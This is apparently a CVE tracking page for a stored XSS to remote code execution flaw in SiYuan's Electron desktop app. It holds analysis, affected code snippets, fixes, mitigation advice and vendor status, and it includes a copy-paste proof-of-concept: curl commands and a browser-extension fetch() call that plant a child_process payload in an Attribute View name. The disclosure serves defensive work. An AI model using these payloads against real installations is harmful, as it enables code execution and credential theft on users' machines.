Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – May 14, 2026
Remote code execution in SiYuan's Electron desktop application allows authenticated attackers (or browser extensions on localhost) to inject malicious JavaScript through unescaped Attribute View names, escalating from stored XSS to arbitrary system command execution. The Go kernel backend stores AV names without HTML escaping, then embeds them via string replacement into HTML templates pushed over WebSocket. Three TypeScript renderer paths (render.ts, Title.ts, transaction.ts) consume this data using innerHTML/outerHTML without sanitization. Because the Electron main window runs with nodeIntegration:true and contextIsolation:false, script injection grants full Node.js API access—enabling attackers to spawn child processes (calc.exe/xcalc demonstrated in PoC), exfiltrate SSH keys, install backdoors, or pivot to cloud credentials. Payloads persist in JSON files under data/storage/av/, replicate across all sync transports (S3/WebDAV/cloud), survive .sy.zip export-import, and trigger for any user role (Administrator/Editor/Reader/Visitor) opening a document bound to the poisoned database view. CVSS 9.4 (Network/Low/None/High Confidentiality-Integrity-Availability + Scope Changed) reflects worst-case remote network vector, though the primary realistic attack path is via installed browser extensions (chrome-extension:// Origin explicitly allowlisted in session.go:277) calling the /api/transactions endpoint as an auto-granted admin on default installations with no Access Authorization Code. GitHub advisory GHSA-2h64-c999-c9r6 confirms patch available in kernel commit 0.0.0-20260512140701-d7b77d945e0d. No public exploit code identified at time of analysis, but detailed reproduction steps with curl payloads and Electron DevTools inspection are published in the advisory.
Earlier versions of this analysis (1)
Remote code execution in SiYuan desktop client (≤ v3.6.5) allows attackers to execute arbitrary Node.js code on victim machines via stored XSS in Attribute View names. The Electron renderer runs with nodeIntegration enabled and contextIsolation disabled, escalating HTML injection to full RCE. Malicious payloads persist across sync transports (S3/WebDAV/cloud), survive export-import workflows, and trigger for any user role (Admin/Editor/Reader/Visitor) opening affected documents. Attack vectors include browser extensions (chrome-extension:// Origin allowlisted), shared .sy.zip files, Bazaar templates, and workspace sync. Vendor-released fix confirmed in commit 96dfe0bea474 (2026-04-21). No evidence of active exploitation or public POC outside this advisory.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.
Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.
Details
Kernel write - no escape. kernel/model/attribute_view.go:3244-3255:
attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView) // ← no html.EscapeStringKernel template - raw replace. kernel/model/attribute_view.go:3242,3283-3284:
const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← rawSink #1 - AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):
<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;Same pattern in kanban/render.ts:227 and gallery/render.ts:142.
Sink #2 - Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:
response.data.attrViews.forEach((item: { id: string, name: string }) => {
avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span> `;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;Sink #3 - WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:
const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name") { nameHTML = `...${escapeHTML}...`; }
else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo") { memoHTML = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
// ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;The four sibling cases use Lute.EscapeHTMLStr - proving the team knows the right pattern; only av-names was missed.
Renderer posture - RCE multiplier. app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true, webviewTag: true,
webSecurity: false, contextIsolation: false,
}Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.
Suggested fix
kernel/model/attribute_view.go getAvNames(line 3283-3284): replace the twostrings.ReplaceAllcalls withtemplate.HTMLEscapeString(nodeAvName)for the${avName}substitution.transaction.ts:559: wrap withLute.EscapeHTMLStrto match siblings at lines 549-557.render.ts:120: useLute.EscapeHTMLStr(data.name)for bothdata-title=and the text content.Title.ts:396: escapeitem.nameviaLute.EscapeHTMLStranditem.idviaescapeAttr.- *(Defense-in-depth)* Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge - caps every future renderer XSS at "DOM only," not RCE.
---
Reproduction (copy-paste-ready)
Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at
~/SiYuanWorkspaceis initialized. Do not set an Access Authorization Code (default). - Verify the kernel responds:
curl -s http://127.0.0.1:6806/api/system/versionExpected output (single line of JSON):
{"code":0,"msg":"","data":"3.6.5"}- Pin shell variables for the rest of the PoC:
API=http://127.0.0.1:6806
WS=~/SiYuanWorkspace
# adjust if your workspace lives elsewhere
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"Expected: a 14-digit-timestamp + -7chars ID like 20240101120000-abc1234. If you get an empty string, you have no notebooks - open SiYuan and click "New notebook" once.
Step A - Create the AV via the SiYuan UI (one-time, ~10 seconds)
The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:
- Open SiYuan. In any document, type
/databaseand press Enter (or open the slash-command menu and pick Database). - The editor inserts an Attribute View block. The kernel writes a JSON file to
<workspace>/data/storage/av/<av-id>.json. - Capture the AV ID - the most recently written file in that directory:
AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
AV_ID=$(basename "$AV_FILE" .json)
echo "AV_ID: $AV_ID"Expected: same 14-digit-timestamp + -7chars shape, e.g. 20260503160000-aaaaaaa. If empty, the AV file wasn't created - repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its data-av-id attribute.)
- Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's
data-node-idin DevTools (Ctrl+Shift+I). Set:
DOC_ID=<root-block-id-of-the-doc-containing-the-AV>Step B - Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.
curl -s -X POST $API/api/transactions \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{
"session": "x",
"app": "siyuan",
"transactions": [{
"doOperations": [{
"action": "setAttrViewName",
"id": "$AV_ID",
"data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
}],
"undoOperations": []
}]
}
EOFExpected response:
{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}Step C - Verify the unescaped storage
python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"Expected output (the raw HTML as stored - print does not escape ", so they appear as literal quotes):
<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">Step D - Trigger
In the SiYuan desktop client:
- Switch away from the doc that contains the AV (open another doc, or close the tab).
- Re-open the doc containing the AV (
$DOC_ID). - The AV body header is rendered via
genTabHeaderHTML→outerHTMLatapp/src/protyle/render/av/render.ts:596. The browser parses the<img>tag, fails to loadsrc=x, and firesonerror. - Calculator (or
xcalc/open -a Calculator) launches.
If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale - close all tabs and re-open.
Step E - Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():
// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
session: 'x', app: 'siyuan',
transactions: [{ doOperations: [{
action: 'setAttrViewName',
id: '<av-id-discovered-via-prior-recon-fetches>',
data: `<img src=x onerror="require('child_process').exec('xcalc')">`
}] }]
})
});The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.
A page from https://attacker.com is rejected - IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.
Cleanup
# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json
# Restart SiYuan to clear in-memory stateImpact
- RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
- Persistent - payload survives restart, syncs across devices, rides in
.sy.zipexports and Bazaar templates. - Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
- After RCE: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json- kernel API token + AccessAuthCode hash), persistence (.bashrc/ Startup folder / LaunchAgent), cloud-account pivot. - Attack vectors: browser extensions (
chrome-extension://Origin allowlisted); shared.sy.zipfiles; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.
Executive ViewAI
CVE-2026-44670 is a critical remote code execution vulnerability in SiYuan's Electron desktop application that allows authenticated attackers to inject malicious code through unescaped attribute view names, achieving arbitrary system command execution with full access to the underlying operating system. This affects all users of SiYuan who sync data or import shared vaults, as malicious payloads persist across devices and survive application reinstalls, creating a high-risk supply chain and insider threat vector for organizations using SiYuan for collaborative knowledge management.
Within 24 hours: Identify all SiYuan installations across your organization using endpoint management tools; isolate high-risk systems (those with SSH keys, cloud credentials, or sensitive data access) from network sync until patched. Within 7 days: Apply the vendor-released patch to all SiYuan instances and verify installation; audit logs for unusual attribute view creation or data access patterns. Within 30 days: Conduct post-incident review of any SiYuan vaults shared with external parties or synced to cloud storage; rotate any SSH keys, API credentials, or cloud secrets that were stored on systems running vulnerable SiYuan versions.
Apply vendor patch. Until patch deployment is complete: (1) Restrict SiYuan to air-gapped or non-privileged user accounts; (2) Disable Electron nodeIntegration and enable contextIsolation at application level if vendor provides configuration options; (3) Block SiYuan WebSocket/sync traffic to untrusted external cloud storage and limit to internal networks only; (4) Monitor for suspicious child process spawning (calc.exe/xcalc/bash) from SiYuan application processes; (5) Require file-level integrity monitoring on SiYuan data directories (data/storage/av/) to detect malicious attribute view name injection.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-30358
GHSA-2h64-c999-c9r6
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB